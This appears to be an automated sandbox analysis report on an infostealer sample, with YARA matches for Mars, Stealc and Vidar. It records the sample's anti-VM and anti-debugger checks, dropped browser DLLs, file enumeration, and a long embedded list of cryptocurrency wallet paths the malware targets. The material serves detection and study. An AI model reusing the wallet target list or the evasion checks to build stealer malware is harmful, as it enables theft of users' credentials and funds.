Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_1-52258

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00412570
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040D1C0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_004015C0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_00411650
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B610
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040DB60
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00411B80
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D540
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	1_2_004121F0

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_00401120 GetSystemInfo,ExitProcess,

1_2_00401120

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: ECGHCBGC.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: ECGHCBGC.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo
Source: ECGHCBGC.1.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ECGHCBGC.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: ECGHCBGC.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: ECGHCBGC.1.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: ECGHCBGC.1.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: ECGHCBGC.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: ECGHCBGC.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: ECGHCBGC.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: zVp8cG4riO.exe, 00000001.00000002.2603920666.0000000002F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: ECGHCBGC.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: ECGHCBGC.1.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: ECGHCBGC.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: ECGHCBGC.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: ECGHCBGC.1.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: ECGHCBGC.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: ECGHCBGC.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: ECGHCBGC.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: ECGHCBGC.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: ECGHCBGC.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002F85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: ECGHCBGC.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: ECGHCBGC.1.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: ECGHCBGC.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ECGHCBGC.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: ECGHCBGC.1.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: ECGHCBGC.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: ECGHCBGC.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: ECGHCBGC.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: ECGHCBGC.1.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: ECGHCBGC.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: ECGHCBGC.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	API call chain: ExitProcess graph end node	graph_1-52257
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	API call chain: ExitProcess graph end node	graph_1-52243
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	API call chain: ExitProcess graph end node	graph_1-52272
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	API call chain: ExitProcess graph end node	graph_1-52246
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	API call chain: ExitProcess graph end node	graph_1-53289
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	API call chain: ExitProcess graph end node	graph_1-52264
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	API call chain: ExitProcess graph end node	graph_1-52296

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_00417B4E

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

1_2_00416240

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_00415DC0 mov eax, dword ptr fs:[00000030h]

1_2_00415DC0

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

1_2_00404C70

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_00419DC7 SetUnhandledExceptionFilter,	1_2_00419DC7
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00417B4E
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_004173DD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004173DD
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD1B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6CD1B66C
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD1B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6CD1B1F7

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00415D00

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

1_2_00414570

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_00414450 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

1_2_00414450

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_004143C0

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_004144B0

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 1.3.zVp8cG4riO.exe.2ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.2eb0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.2eb0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.zVp8cG4riO.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2061583789.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2604196663.0000000002F85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zVp8cG4riO.exe PID: 5720, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 1.3.zVp8cG4riO.exe.2ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.2eb0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.2eb0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.zVp8cG4riO.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2061583789.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zVp8cG4riO.exe PID: 5720, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 